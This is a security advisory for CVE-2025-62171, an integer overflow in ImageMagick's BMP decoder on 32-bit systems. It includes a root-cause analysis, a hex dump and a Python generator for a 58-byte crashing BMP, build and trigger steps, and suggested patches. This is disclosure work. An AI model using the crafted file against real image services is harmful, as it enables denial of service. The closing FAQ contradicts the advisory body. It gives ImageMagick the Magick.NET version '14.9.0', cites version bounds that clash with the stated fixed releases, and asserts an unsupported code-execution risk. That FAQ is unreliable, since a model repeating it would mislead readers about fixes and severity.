CVE-2025-62171: ImageMagick vulnerable to denial of service via integer overflow in BMP decoder on 32-bit systems
Summary
CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.
The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.
Affected Versions: - ImageMagick < 7.1.2-2 (originally reported) - ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)
Platform and Configuration Requirements: - 32-bit systems ONLY (i386, i686, armv7l, etc.) - Requires sizet = 4 bytes. (64-bit systems are NOT vulnerable (sizet = 8 bytes)) - Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).
---
Details(Root Cause Analysis)
Vulnerable Code Location
File: coders/bmp.c Lines: 1120-1122 (in version 7.1.2-5)
The Incomplete Patch
c // Line 1120: Integer overflow happens HERE extent = image->columns bmpinfo.bitsperpixel; // OVERFLOW!
// Line 1121: Uses already-overflowed value bytesperline = 4((extent+31)/32);
// Line 1122: Checks the RESULT, not the multiplication if (BMPOverflowCheck(bytesperline, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");
Why the Patch Fails
Attack Vector (32-bit system): Input BMP Header: Width: 536,870,912 (0x20000000) Height: 1 Bits Per Pixel: 32
Calculation on 32-bit system: extent = 536,870,912 × 32 = 17,179,869,184 (0x400000000) 32-bit truncation: 0x400000000 & 0xFFFFFFFF = 0x00000000 ← Overflow to ZERO! bytesperline = 4 × ((0 + 31) / 32) = 4 × 0 = 0 BMPOverflowCheck(0, 1): return (1 != 0) && (0 > 4294967295UL/1) return True && (0 > 4294967295) return True && False return False ← Does NOT detect overflow!
The check fails because: 1. The overflow happens at Line 1120 (extent calculation) 2. extent becomes 0 due to 32-bit truncation 3. bytesperline is calculated as 0 (Line 1121) 4. BMPOverflowCheck(0, 1) returns False (no overflow detected) 5. Code proceeds with corrupted values → ASan crash
---
PoC(Proof of Concept)
Minimal 58-byte BMP File
Hex dump: 00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.| 00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...| 00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 |..........|
Key Fields: - Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912) - Offset 0x16: Height = 01 00 00 00 = 1 - Offset 0x1C: BPP = 20 00 = 32
Python Generator
python #!/usr/bin/env python3 import struct
width = 0x20000000 # 536,870,912 height = 1 bpp = 32
BMP File Header (14 bytes) fileheader = b'BM' fileheader += struct.pack('<I', 58) # File size fileheader += struct.pack('<HH', 0, 0) # Reserved fileheader += struct.pack('<I', 54) # Pixel offset
DIB Header (40 bytes) dibheader = struct.pack('<I', 40) # Header size dibheader += struct.pack('<i', width) # Width dibheader += struct.pack('<i', height) # Height dibheader += struct.pack('<H', 1) # Planes dibheader += struct.pack('<H', bpp) # BPP dibheader += struct.pack('<I', 0) # Compression dibheader += struct.pack('<I', 0) # Image size dibheader += struct.pack('<i', 2835) # X ppm dibheader += struct.pack('<i', 2835) # Y ppm dibheader += struct.pack('<I', 0) # Colors dibheader += struct.pack('<I', 0) # Important colors
pixeldata = b'\x00\x00\x00\x00'
with open('overflow.bmp', 'wb') as f: f.write(fileheader + dibheader + pixeldata)
print(f"Created overflow.bmp (58 bytes)")
---
Reproduction Steps
Environment Setup
bash Use 32-bit Docker container docker run -it --name test-32bit i386/ubuntu:latest bash
Install dependencies apt-get update apt-get install -y clang build-essential wget tar \ libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \ zlib1g-dev liblzma-dev libbz2-dev
Download ImageMagick 7.1.2-5 cd /tmp wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz tar xzf 7.1.2-5.tar.gz cd ImageMagick-7.1.2-5
Build with AddressSanitizer (32-bit IMPORTANT!)
bash Configure for 32-bit build (CRITICAL - must be 32-bit!) ./configure \ --host=i686-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"
make -j$(nproc)
Trigger the Vulnerability
bash Set environment to bypass cache.c limits export ASANOPTIONS="detectleaks=0:malloccontextsize=20:allocatormayreturnnull=1" export MAGICKWIDTHLIMIT=2000000000 export MAGICKHEIGHTLIMIT=2000000000 export MAGICKAREALIMIT=10000000000
Test with malicious BMP (use Python script above to create it) ./utilities/magick identify overflow.bmp
---
AddressSanitizer Output
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asanpoisoning.cc:37 "((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0) ================================================================= ==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asandescriptions.cc:80 "((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0) ==56720==WARNING: ASan is ignoring requested asanhandlenoreturn: stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488) False positive error reports may follow For details see https://github.com/google/sanitizers/issues/189
It operates in the following environments.
export MAGICKWIDTHLIMIT=2000000000 export MAGICKHEIGHTLIMIT=2000000000 export MAGICKAREALIMIT=10000000000
Impact
Attack Scenario
1. Attacker creates a 58-byte malicious BMP file 2. Uploads to web service that uses ImageMagick (on 32-bit system) 3. ImageMagick attempts to process the image 4. Integer overflow triggers AddressSanitizer crash 5. Service becomes unavailable (Denial of Service)
Real-world targets: - Web hosting platforms with image processing - CDN services with thumbnail generation - Legacy embedded systems - IoT devices running 32-bit Linux - Docker containers using 32-bit base images
---
Recommended Fix
Correct Patch
The overflow check must happen before the multiplication:
c // Add overflow check BEFORE calculating extent if (BMPOverflowCheck(image->columns, bmpinfo.bitsperpixel) != MagickFalse) ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");
// Now safe to calculate extent = image->columns bmpinfo.bitsperpixel; bytesperline = 4((extent+31)/32);
// Additional safety check if (BMPOverflowCheck(bytesperline, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");
Alternative: Use 64-bit Arithmetic
c // Force 64-bit calculation uint64t extent64 = (uint64t)image->columns (uint64t)bmpinfo.bitsperpixel;
if (extent64 > UINT32MAX) ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");
extent = (sizet)extent64; bytesperline = 4((extent+31)/32);
Credits wooseokdotkim wooseokdotkim@gmail.com
Other sources
ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with sizet of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytesperline calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with sizet of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
nuget/Magick.NET-Q8-x86to a version that resolves this vulnerability.Fixed in 14.9.0 - Upgrade
Upgrade
nuget/Magick.NET-Q8-AnyCPUto a version that resolves this vulnerability.Fixed in 14.9.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-x86to a version that resolves this vulnerability.Fixed in 14.9.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-HDRI-x86to a version that resolves this vulnerability.Fixed in 14.9.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-HDRI-AnyCPUto a version that resolves this vulnerability.Fixed in 14.9.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-AnyCPUto a version that resolves this vulnerability.Fixed in 14.9.0 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 7.1.2-7 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 6.9.13-32 - Compensating control
On 32-bit systems running ImageMagick, keep default resource limits for width, height, and area (do NOT manually increase width/height/area beyond defaults). The vulnerability requires manually increased width/height/area limits; systems using default ImageMagick resource limits are stated as NOT vulnerable.
Event History
Frequently Asked Questions
What is the severity of CVE-2025-62171?
CVE-2025-62171 is classified as a high severity vulnerability due to its potential for integer overflow attacks.
How do I fix CVE-2025-62171?
To mitigate CVE-2025-62171, upgrade ImageMagick to version 14.9.0 or a later version that addresses the vulnerability.
Which versions of ImageMagick are affected by CVE-2025-62171?
CVE-2025-62171 affects ImageMagick versions prior to 7.1.2-8 and below 6.9.13-33.
What types of attacks can CVE-2025-62171 be exploited for?
CVE-2025-62171 can be exploited for integer overflow attacks, potentially allowing attackers to execute arbitrary code.
Is CVE-2025-62171 patched in the latest ImageMagick version?
The patch for CVE-2025-62171 is incomplete in version 7.1.2-5, so users should ensure they use the most recent version available.